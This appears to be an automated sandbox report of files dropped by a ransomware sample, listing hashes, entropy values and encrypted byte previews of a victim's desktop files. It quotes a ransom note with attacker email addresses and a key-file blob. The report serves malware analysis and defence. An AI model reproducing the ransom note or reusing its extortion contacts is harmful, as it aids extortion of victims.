Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.844350085350917
Encrypted:	false
SSDEEP:	24:CsXuHLTAnhIXvoU1RPldwt4DEzGRlO2EooOt1sRN4/5yeOe6nt:CsmfSyXvJBRlO2EoH1sX4RyeSnt
MD5:	E4A88BF74FE30E6C1EE00017D42D5BA6
SHA1:	BC36BA274E14166FFF1AB1AF128F63B9D8786636
SHA-256:	A223521AF6A1BB1F320F08A0F796E5086ACBCE9A2455875B5FD88380DF176125
SHA-512:	8C2DC786D4235AD7B7B326D1BD2BFABF5B624AD8F12B0F10EA359042ECD6E45B6C71CF125D8EE9E9750FEFF6D977C6F0E81AF0A6006D4C4BA37002A4D7063BD7
Malicious:	false
Preview:	HD...7.^..\|....{...$.{..2.3q.....CcE.a` $...m..O.=..z...nA..kb.L.x9.Q.'..H.3..+U#.m5X.;ms...4.7m.C..s.wp..u.% ....Cz...p...%..8.).1.G..K..6ha.g......d.^..[..,....X>.....~.........!....p.....+...i.}.....h.k...u..9.'Q<A.O..aJ. w8.t.c1g..._............$..K 8..._Y.....#.+.s~.z.q.$H4...M....FR.....d+.<Je...i\|.....C.QR.27........>..6b..........9........u..M..:.s.ZA.h.Md.~.y.S.jv\|..;.h`.>8Z\Qe8...j....}]...HI.L.\|hE0./&..f...:.^.U.....y..&.........h....?..l.....=GY.b......y.{.....]%..)...<H.L`..'Z..F..$a..Y.~.s;A.`..;i...9.t...\|OP.).U(W.....}....q.g.{.k.W8...?...~...k.M....]M.../:Z..J. .q.]>S..7.../}.e..h8wGUV,...<.Z.Mw..[.!-...5^..Kc.p.s+.#..;&.N.]iO.X).o...2!N.....^>.t`..]....[.z&4.....x.,=./.~.tJ]..k.^F.......Q.i......>...s...p..\v..8.`-.b>r....W...V.O.i..&&O...L.....e.Y.7.....]5..f..R.pa....w..n;..=.1.sLh....qN...L..+-H..nt)T..L.......&..M.5ow..t.....kk.....mZq.....C..`..1..j K.>IC......l...........,...N.o...`..4s\|..K@].$........

C:\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.863549087335771
Encrypted:	false
SSDEEP:	24:2z8HP+jW9bWBBFJnCoUw+U1V9zxWn1Z50cc4kMxfd/5dV6qzuP9PDFBNIOF:BeZFw6zANATMT5vK9bSOF
MD5:	4520C33565B107F3D0E6C2B3786EF242
SHA1:	46CF1A3F4D9D13AB6C0D5DE8C2ED547BE0CCB5F6
SHA-256:	086D499F8F25D0637C530D241D428662F3A359E917A41005A50F819F4D9F6524
SHA-512:	FEBCBE77D3D078CCAA05B379D23FBA4B7E704A224E54EF4A06A9E81069D04A95F390866A29FF77655CC51E77520A961ADFF785F16C24AFA9749E8A574ED47B21
Malicious:	false
Preview:	D..:..KhS..0&ZoJ.?...sy.9..G..mB....~..........6.&.a8.x..........;.....h.h.Y...~.i.:....i\|%......B.<...(......b.......2.......L........9m....7..G.4L."Sf....I..&.T.....p........u..f.....<...Hd..?:.O.+5\&N..2.N....&..L...q...].s.x)(...Q.......C.."8F.C...Z.U.!..vCw.._[R7}....b.=.....A.B-..c...-I..X.C.....m.7d.Q.~...+..;>....t^..y..P..V...,B....e.....~..;..x....m..3.L.Q9.U.^zG.6O..m.6/(.A..D...Xx...x.\|.u..P...q..,.L.E.+qv..m.l..f.5..c90..I.JcB.$2z/h..F@m.6]b.x.l...$n....[.#izt....Q......L&....................N..&Q....Z?.H.H.[...<v..R....\..y....-Z.;..M............"...u~.n.A.jF..N....O...D.....}..#...o..C.L.....X.b.\.P.8.hU....b..=.F.e..I.>...f.....K.........k....d...</.\|.W2.\.5uI..X.'.d....c-C....T.&......5a..!T.."..ku.....c(.dS6eX..{.+........+.l.u..f........3u..maY?.kV..Eb.0.N........}s....H.....a..2I.....t...KD.f......8.<.....'}..B.z...x..oI.k.."..s`....l.6.EG..V;.xY...:c..L... ......Qb.....=y..N`.W.)i....ep\|.Z..y..R1;.y.G..b....8Y.;..

C:\Users\user\Desktop\BJZFPPWAPT\CZQKSDDMWR.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8599237898361904
Encrypted:	false
SSDEEP:	24:hEqir7CgDolbzEh/Wo2Ggy5Rnzoh2Mh66uMFTE2CODcjIbSi4Wb:aCg8ehe1y5BePJf4Wb
MD5:	97496D72A2136D6787E47EEB73B95F1E
SHA1:	B0BDFC76DD8B463F9081D8198B027781E860856B
SHA-256:	3B7FA15834D825F263D9B1CAE6E4DA6070E3C5469ADE3B7CEC1C67A1D8E64375
SHA-512:	92CC8C8C238E1FB4BF2B45E83EC05042A3C376DFE16486305F4D8967665912CDE7A8308B5D8C642C3965A4B8113CC161FB766C249EB19B6F054CB04E7D3CD37B
Malicious:	false
Preview:	.M...\|;..O.)8[."..EEC[..%D%Mz7..B.D.-.p..:..=s.:# \<.5.86.5Y...#[.K.E..y..xKm..5p~b.s...\y.@m..o~..z..K....EY..-.....W&..x).U..V... y=j.m.......R..`.t...x....:...TT.z....'Y..".5...+...5...oa....1..P4.+.{..../x..u..b..q......W....k..4n...<Y...7."v'".;S...E..........<...]@{-.J..k.Du.`..x.O..........+y".8+.......K.VK..v......U.p..5K..)..........[.Nvj.E.-%c@`...t....j.....;.9..e.f.`a8...:...L.i..-...R.K...2.59.[\|k"...].$u...t. q.....,.R.......6..)..Z..N..j.D...3.Kc.V.22\.A.&!.a...-.....x..[8pG.+'}Ed.....u.....\..z.6..E6..@..~.S.rV..$.G..#I..+e..Q..V...'...b'......Z.....e}...h./Tc23=#..rX{....R.].aV......](.]pE..k..P...To...O...1.JZO!.w.I......_..@v`6?=d...8.....:....}_J.....c... .....n.S......RC.'?i.vE*.[z....5..S[yd.........}.........A.LRk..f........F.!>..~..-.".H..BM....c_.....e..A.j.U]^m3...w5.c.b..".q.....p]...4.@...."\|...a..U.3#....z..Xs..;.h...g].wW.../.....~.Z\|.u..$<.&.oo......p.W.<....y.<w..dJ....GP\|...r....+..M..]Y...@.S..m

C:\Users\user\Desktop\BJZFPPWAPT\EOWRVPQCCS.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.852567816802775
Encrypted:	false
SSDEEP:	24:o14zM+vlAvhIO4BXvLKUEDw59jKVQCVRW3SOrYoPe+dhbIcrp/N3wX3D:+4zM+vCIO0XX556QpwoPBdhp1AD
MD5:	DF1EF2C074545A0CD3905E0B26B3E6B5
SHA1:	39C60D648D5AFB159E2A854437A45D0B8F5FC082
SHA-256:	80D0080BA8CF2429782D448523FCE65F34933064FFB81D70F7B8331769D6FE37
SHA-512:	4E61137E8AF1F983781DF1A13794EEB8524C6DBE1A380B6DC2B724884D0D6E123E4FFDDA380745D118146370F089F89AD19BC1A1788CBA498A866B09723B6EAE
Malicious:	false
Preview:	$FtQ~...[.fxm..ER+..t;..z......~.gT.K......G9..Y..........rK'.2.OR....(...@.........,...(.D.a..l.%{....N.~K../......;.Y.o.5I......a06.j..9.9k..P......?s..gp.....%..ZN.["qm.n<..C....=#.N.N..0j..-.\q...`7Z.....H; =............O".".....On...,a.......d..jK.D3-q.....H.....~J....f#.....%.6{6....F.~.Q^V.......9S...Pf#X...}..k..@.6P.I...F6'.hj-f..q........dL-....h.-G0...mF\.S.}.L..%41....d,&.tip.=...}.x.&1.Ac.cO..0.t.)d...b...5OI....{.YRo.L.Y`a.8]?..K.2...X.8.em6...i...:k.".bq..v6.4............T.\lb....x].&......^I..P....._vr.C.6..F..I..:L.Xg5.q........O..Z$..a..NJv..'.._^...j..ju.....u..1H'.R......3.H!1.t..$~....:p\|.)?.\..k})...KAV..5@.......)5d....{.U.S.w%..n..z.4o8..?A2. .nWX..Pj.[L.P..b....HD...n....mN.{C])N)....G?N.......;..).M u...ip.<+.I.v....0.......6...4. ...p(x#..=....J.......#...\..`b....%C.Q...,.....G..........X.n(9^y<j.Y...'...l...2!.M9.F..nm..u:...5,...H...r.g.)5/..Lp.W..--..Q..."......=Xl...Z.,B....[e....LW.B.su../

C:\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.83467589956148
Encrypted:	false
SSDEEP:	24:THeCGTUgcIIQuQDaGFN+C38FfDiiBu/shZM9rGGKdoHY4oQ5OHWxW:T/ChI58aGFNupu0/M9rj715WYW
MD5:	241DCC90B095B4C8D410FE3E7B06C478
SHA1:	A34DBFD79FDAB375E3EB870C81987659E964F3D0
SHA-256:	E2FCBFB725647ACA83A6BCC2857896240A389127478B2486D15B89C8559379BC
SHA-512:	4A5BDE5CB57AE47684376BEC35D5B97E4B130C8B7B9EFDB18AF3D6BFB5553FE0AEEFD2C739741EEA6821B27EF4AEA0B32ABAB3A62A2A947DFAEE8830758A292D
Malicious:	false
Preview:	..^%k.NZ...Jkp.W?.5.7...D..+..%.K.).MLAf.c..[...U..G._c...y........iaKw..3.....4.....%!...+.W.U'.lX(.^.@.(a!q...9....u.%.)......M5^v.MFe/hs..v..a.@.M..T....u..s...3./c9.=.).u.m......,B..`{.T:..:/V...\|X.-.Ge..]...4{...aq....q........g.X..fz^..1......c".....;....o.2..m.)p.X.F..y.!y......jD<....Xg...'T.g....?..&...t_..J..s.l.}U.s...? ...~.......U.\|[a1..yY.K)....j.^..c~Ny3...7...l..g).C.........h."......W..D..ir..z.........'Rw.}....GkS.(.K.26.4..t.z..<.....+...Q.............!.T.3t.YT..z..$..O.]p.e..VH....4m.8.lP._.;.h%..NL...#.....2n2.$...U.y..H...?..Ve.S..........AxF.......o.w%...~...&.~...........O....Y.g?.....1.T..,..7.Yc_....c.c;.9A...-..)....\|Ig......`...x...${.E.K....z....'.. $jS......tr.......`.....JY...C.mn.=.6.....F.4.a.@....rT.T.k.....o.....t<......0....NE...].@.....D.Z.......C.}5)..E]...>.....$[.....v^.h&..2,[K..........}.>.NSpY..Z.....a...V....n.Ta...b/...N...'W..F.x.}.hAL.jLl5..Y.Y8...."P..3..q. .:m....&[v......D.k..Q.^..a.

C:\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.870334367517941
Encrypted:	false
SSDEEP:	24:xlnAqzt647dRkU71hXXbGpTnzkQBcr6z2/ub8L+KWCPlaOFOF:bnAOv/NXapzC6tb8KKivF
MD5:	BEE00EFE5A6CF5BAE82A45096D4872BD
SHA1:	5C3CAF9C0AF6188D40EE5297669A9DEBEFBF72D3
SHA-256:	7B537CBF868306E0E892D6ED5AF00A388C80E887A1348F077D8C7EE62928BDB1
SHA-512:	BE37BF9581FD07B458F5F315098130DC4048F5F4F987D967020E0B07DF1B5A5C6A9BBA5BFA83167D130F20041D489419B1B7DA3780A8523AC845ADA1ED128EC7
Malicious:	false
Preview:	@5~.L.n.#.....dy.+.M.!.....c..c....,...+.J..r.b"....Lb..m.Y..:......3.......h..q.....2..uZ44.L......R.!.0..f........E+{.X9;.........P].h.....'v.\.dZK...o..n.......$..{..h~..y<8.V...e...K\|..9..r.....>.......#....6..".Kp.%R.......f._?Y.n.I......3b.8_.'N.9..{1....%..3..?...B.m..~8.......B..~@E.`...\|..E..N..k.<.=..D..i..<+...2.,..m.b.P.....FTA....s.qi.W.-.+.U-.t7..}3rO[..c[6..._`.czE.D.j.x.............%.x..A....K.n..>.&L.....m.u...(}z.FT..'.M..j{.'l.&J@l..9.;$W....:..$^:~i.N..l.K..z.bG..J./.C=..`.5.;.3.0-2...$h...H@....o.j.X<P.7..LI.37wx<...k.r.d6OH..d752..x8.._..v.&W`..8.....Y.8#2.a..}..P..3.qs./}..\....M.q..HA.K.....`..}...lI.+y.Q.T.=2.5B..+s8k..M..bC.....s.9.\|=X...}..G.\..M.D'.D..d.."B....2~W{F.....?...k.T>...Zw.DJ4.c......i`[.1..5L.BI.....w5..Ts.[-u=.Ke........i.=.k..S.K.......Z..}Y.?ktV...wU,}.]h.{..A.).H...1]..OL....I.E.-S.8{s...\..IS...Y.wRv.r.~..5.f$t62~....r.....<.......pV6g......<b.....BPm.vh.f.K..xF..t..f.'...8u.....@D..@3..W...4

C:\Users\user\Desktop\BJZFPPWAPT\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Desktop\BJZFPPWAPT\TQDFJHPUIU.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.831339957698186
Encrypted:	false
SSDEEP:	24:F5G+m7EiHQtPdY+wpTY2oVq/qxGu7musOxWORA9gOgbbMuJuk85WYwc7a:F5G+m7E/YhpTL/FuVwJSbAIuxWt/
MD5:	C0349C8FE1151AC65E499E7FFCB46222
SHA1:	9C0F7E0D32CA6500703C71F5DA29675980E01B80
SHA-256:	C14104EF1E81C99247840FDECA1C5B1351484A75FE44EDC18097A5565FD54D1E
SHA-512:	89E0126218D14891FD66A9FE88D763C633378630574FF6DAB0B491F640D01CFA6703515A69372AB29A3F2D9E1F3B9169AB0ABD3872B5A711BCEC58E9EB453BAE
Malicious:	false
Preview:	Q........z"....x.N$...x......xD.CF...hh..LQH.W....l.hE`.s#.\|N.w0_...S.V..c....c.!..Nyv......j.....9Daa....4G.<T....F..)...!...s....(.M.4.W'}....g.......j..ms.....p\.l...4JPt.=.NR.p..w....._-}l_$G...,........VH_....I...ndQn.aaQ...E....2.../.=......b....ng....f..EL..j...a..:4.2.v).xqdaj.Se.f/....^Ph:.....-.aW./...8(I}..q...m....\|....o._u.q5.}.m.Q.....,..1..?.......f.....Qf[=%]2LP.<j.'/=.g....9j...8P......=@:.......A..Hk;.4dMN.......1F.N%.....,..d..%B...81..r.l1...{^..{..[..B0~>/9.....g.....Q^j]Lf..>.......J.y..a........rn.-..kZ.Yf......D...,..#L4A[H...;.!^...o.mu..d..R.....i......G.h>......6.x%U....5o8]9X....j.'......9..U].Da.z.;...>......E........Hs.b..CP........U....y-.....\|......\|.....X... .:X.q..N4.{i.......l..\f.P....w.s..:....HC .._...T+_0.<...}.Ts.h.~...D..p..:@..&..#."ub>.T..C...K2.B.........V=e..[E......m...9.g8.:....wx..8"<=".t..D.=......F..[~.......2+..[..[..y=V.\.6=......Lb.5q!\|.]......3..=....R...@i,....F..."=.....)-.

C:\Users\user\Desktop\CZQKSDDMWR.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.826353472855735
Encrypted:	false
SSDEEP:	24:Yjzu3+EHzPeb9Q0BR/AVEZxbLSFG+NM8wWFlkMp1cRSWWLZyuRYom:YjS3VTwQ0BpAVEZtWsWM8wkkmrWWwJ
MD5:	C371091BAFF8F54A8E737B596F74E035
SHA1:	95DD749CEFF95463C0640F58CD52D315E3EE4930
SHA-256:	D887080FE772ADA02E3DB1FE9E92F117F33D2B686BE6B6FDF59F169A7697B7D8
SHA-512:	4BDB9FEA6C5554148014C3499DB387BD5C1A97EFC7B180B7AAD500E6BF22F657997919BAB6F447000D7E55F0476A4AC3C8EFE2A0FE599881C4C1EBCACFF36EA5
Malicious:	false
Preview:	....s.4.....H..\4.qQ..;.Dhx.cuS0...ra...m..=.?....@c..K"..d...).=..\<...I...%K.uu.8....i.p.z.49..4;.....-...I.......T...&...Z..cb4Z:4K(.........].W...m3..V ?7..y..{...../.......q.\......Q...Q.........`%[.2..........S.5.....hO 0!.../...j.`wA..M..r.F.K.......k.L..-.P.h.<..&.Uh...J.L+p..R.R..1......5..8.,...+..Wd...........q...z...~4.y......\|z$....;8.......hJ.K..ec....j.....(...F,..lQ..h...{g..F....}x...s..LM.Sw.I.h.......H..G.g...g.{....8/`..........1C..e....@..p.....!.".......r.r.`2m..dS%..B...6H....~."N(v...i..C.K.;...T..T...r.;....s.e...56...U,....{.......s...aQ..5.......g..3.e....n_..WP.:/.........Y..... .T..4r........MV.....+w.....gC<.7.@.T6...&}Jt[...E..L6.r.5`.../..D.S&g.(.;.J......._...-..:^..cW..Uu......fd....\|Wz.U =.._nb.B.N.kIi.ErL.s....pNQ...r..R.R..b.Z..PA.#n...,6...c$.Pz[p.A........z..\|.@:P.......3...2j...=I.. .Rc.....cHs.L..f.8..U.`...L.}\|.X..(.I.-...$..:....uqL.2....#.'...'...b.T..\|.!..v.l.B..U.\|r....(.(E..<..%..-.<.i.H9...r....

C:\Users\user\Desktop\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\Users\user\Desktop\DUUDTUBZFW.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8491110810292435
Encrypted:	false
SSDEEP:	24:Xk8GrF3JTz5Bh5vE0t00NE4WpQlJFX2VGgCLM:GnBHvttz24aQlb2VGgCLM
MD5:	50D607B89A693FA43D1351108E00EC7B
SHA1:	12645F5710D98618B7E64609C09A09A482F1F129
SHA-256:	0048488757958D03E087F81596A53C305E1A14531966FFDDCCFD9684D8DF61B1
SHA-512:	8E456BBC10B10F8B12E963A8AEFBBA760EC1DA8C8E18BE7F3DFF03EB4594E1454A98EA2C49100C8ECA32B1B1349E2956A597B1F10EBCBCDE35379908C4780EEF
Malicious:	false
Preview:	....O.l..u..5(...Q._..S.....9E..H/p...Rd.f[[;.VT..h.G..O...Q..\.Cd.'.G.."..A...Z..#.`...1Bl.C.`.,..i....9........p.:.%k.@...D..n_H..\|.K2)~.6_..!.'nM_X#..&.h^_.......uPL...K..!b.e.l...].. u..I.v...g..KVN.o..=.Z.....t."\|.{ :.3.&.].YC.....Dx...g....@.d....y.n)C......R............/..g..P..:%.y.P..V.,i.qM4..\|...X.@...5.N..X.,Mw!...Q)..>Q.b...lC>.'.\o.7...iD.@X....-.gc..V..7...Z...4.(.n.I.L(..,J...Pq........M.3.....q3L.O..G.g....6B.@<.j.M.v.,....`B.W....-^.........oUM."...b.pe.......l..G.5...k.0..x.kz...E5.....JV.SS..<..j.E.p....2.x..M.k.../.thN..m......Zg..!.A.(.;e.&.......}b.#.]..A.s....RY.i...\|.Q).0..."..o....P..@.e_.%..!..C.A...A.V.[/b..........h\|..(+.$.p&'v_X...#....9zYQ...b..V....t..AB.p......J.DV.+.'./.w6.......r?..f..i..... ..6.....l.#K.....<.{...}....'........S..+U.V..Z.%.X.&Kg..].px..J.F.$b...!U.&....b.T..x....y.0...a..#..X...iB]_<,d %........O.6..OBR.E..ile..i.e....O...b.u..o..E{:-...~.ZQ......l....c..I5.R..q..(.`..]\OB.#..M.....

C:\Users\user\Desktop\EFOYFBOLXA.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.865606961996995
Encrypted:	false
SSDEEP:	24:H1JTUvez9wBApizI6DMvGb3oi17BNl7VRNJhm3f7n2b9GtqVD33fREG9p:H1JAvXAp8VbYi17JHDM7C9GIVD3JEG9p
MD5:	D80B841DA2E7E83630E96F9FB1542EDF
SHA1:	561A2246A0E0EF6CDDA1C7E03CD81530A9B10025
SHA-256:	784E5CD819F63174B9629DC04E7249F05F8E8F21F229C5019682E8F8528A1F51
SHA-512:	2F4968396AD786C11646F5C127A8E6D0630345842FEE5FA8E9A4203A6653FD3038706182ADB53AC1515960474C34FB39B744A5EED839EFFC2AD573473BCC3674
Malicious:	false
Preview:	6~B.< ).G.JmE...r.....O...A)..O.l....%.<.Y7.."..!cuS.....e.....v..6.<o.....Uu`..&...o..d..ew.T.2.,\|4iL....f..T.b8.N...lj.}o....^.lJ...y..[..9p....\r.!.D/rS.ck@[....Go..a.....2..3W3,..... ....C.....E...;..~.(n.M.z.......c<...L..N$O.....8..V.`....om.x0..~].U...mbo...<3G.1?...gM..a.n.$_..Z.F.p"4.....f..%xZ.2.ah.@......."q...H.N.\e..../l...?.(.R.....>.}...w.....R.k.%ZK..K!.MwVq..Nx.\...$..h;..1....V8..d.6...lC..0...q.._./6J!.rZ\.?...s.N.P...5.I..p#^..93B4.~7v.6.`B...&......._-...u.l.O...P..(h?.t..6...a..L..c.i.v...0...=.I..~..\.0...(.n\|....X%..N....V:..J9N..........(I..Q...!A....A....a...2..."B..=b.H.\|.Y....GG!6.$..y.!..%.P..L7.cQKu.@/..$..6...V.FK?.E./$.8.#.M.~.W.&...k.#... Idd....TW<..`.....i.v..F..gP.1\. U._.u....K......t+....6.....W.j........&.].........[&r../.p..3\|......".]/\x....S.....=..~r...M..KOzi=..'......p,`..Q.rrZ...H.q0.X@..........61.YA....t.@?.".....{?.i,D....@.......Q...u.Y.\F+'...m...o...W.OF.!e..g7..ws.C.....v...G!).rZ...aQ...:..+..av...N

C:\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.868320903585222
Encrypted:	false
SSDEEP:	24:hGCykT15NaN8MV36dQpu4zHWxMNXWWWmf8q0FsO8cQP+auav8i7dD5lp:b15Na+k3Rpt6yNJ8eJc4/koNlp
MD5:	AEB84C704C17C6955A9FC242A609C19E
SHA1:	A4DD5B4F24ED2B22FDC5F0BAEA2E53604B972DE9
SHA-256:	75DC89955EA4FF4490942203C90CA309D517A0EBC8B21157205A4E6F4485AF14
SHA-512:	02BED4A43B8BE201097BEB959F54EC4354AC4D52B9189BF7E3FC21E20FBC410E0F36E0D567C49AA59BC53F73910B97C3ADC0CD3B36FBDA1BD70CCC569F4D4962
Malicious:	false
Preview:	.i....n..5@-.C...>0..N.m..,Ye....DC..'1..}..Ma.e....;....E.PUvu.<...D]..z....M.;..!59....X.E..Y...0.....{.N....a..m...z..P0.(V..8..C.$.1.z..BOmFD4\y..i`..h$..yF"...dy9&.<<..>.......M..P{...."....^...GF.1..5......D.8.....L.4.....3.:tme.,YS..y;.......M..q...G?..i.q.WcPU^3..os...,s..89...ET+(..C...3_j]..X....f.@.....pgqK..g;.Y..?...G..".]..6Ub....Z........f.....SE.[..ok...?.0G..z...I..^.....a.2.L/D..Q/.,.f.MX[.Vd.$..8D....A...\.,.9kz.........`...A....4.phL..[..+.$0_.a...6Y..2..\.3:...}.Cn+..`.'Rt..,p.C~.........OU.Ww...'0.(.w....r.VK. ..8A?.F..yV..H..4@%N.o}.`....l......YK{z.....l.l....$.&)w..%b...K.K+..q..r.H.L...K.......0....>=g...fR.Y=.$.Xj..m.#..y..p.6#...g.,...3.....h.u.).9.i.H....u.0.<..q.).#x.....N_....&!i.1Bo...3..NV.X.0..a.V4..b._.&{..`..m6.W...:.....@-.\|..N......<.....a2T...........x\|.1r7...."..r)(.i......%h.............K{\..^.....*.s...=..a...&\U.w.S.....(V./L..@....w..m.2..@.........Z4.wFIH...o....~.e.........+........Za.1

C:\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.857142479692802
Encrypted:	false
SSDEEP:	24:G7YAYX+c2ryMSPvMuUH2jFAAChcIh9Y5g/ALyUXQ5wENZxcww+mzMV:eYAe+jryMSPvM/H2jA1jsgILXeNx5pm0
MD5:	AA7BB1468AE28D529C41D4F9654284C5
SHA1:	875D4E7089797870974872E4F204320BE0C5CA02
SHA-256:	6C9F69A1D05BE293D10EA014C3F73FEABF792E2F525F75822BF438FFB6C63459
SHA-512:	5C0D81479C0ABE31BC0D927B9F6005039CAFAEAC790D14FA43B5344C841F1D778A9A6EACF1BB7F0E8B876DA5A4EC1A2A37FC3A267492B0BD0047901BE6B56B2D
Malicious:	false
Preview:	&....=.............%F_..EA.......U$..\|....).c-."Hd...Q3.&.h.S..Or..].V.y..@...0%?.?....G.?\|.6.ef.Rg......8".).....N!r.dZ..........g.9._...'Jel. +..(.u.1.c....mL.Oq.o...!....+..m..(....U:....=.....{M...d....nN...l..]P.z:F.j8+..+.K..0a&?k.U..C..3...K.h.....%#T"..>......u...Y.2..b....0.g.....8.+....9..]w{.........."dC.?.o0...{..1>...v..N..~..\|.o..d..:..G...X.Q...lQ.F...c.E.."..1...F.7....Q.......UV..........d3Zx..E.....>y:..U.S&..........3..l.?.%.\LU.)16..`^.......W..`.X.........e..2..cJ..F..[..........<....O.Z.g...jHI.w)N....._Y}..a>...q.... .......OW^q.O..A.wx....e;.....i.w.G7&.......\|..\.t...VDo.5.....b...4`.....N......r...g..u[.1=O.......I;...~..&....2....._F^?........Z.~..r...?P.8..9.R7...).>..3o..v.....U...d..J...j.g1.....vs...%FrS..Y:...X.Zl...{..wN....0....oY./..O.c8......vq.:;...r..5[.x.`(86.v..h_...5....e].d...u.4...5...}7.../..-..i.J.{..o..._./.".i.%..f.\|9!U.i.r#.=..%.2.=.m...V.............\.]<.........}..tK....}.Tn..Lz.

C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.838440211029737
Encrypted:	false
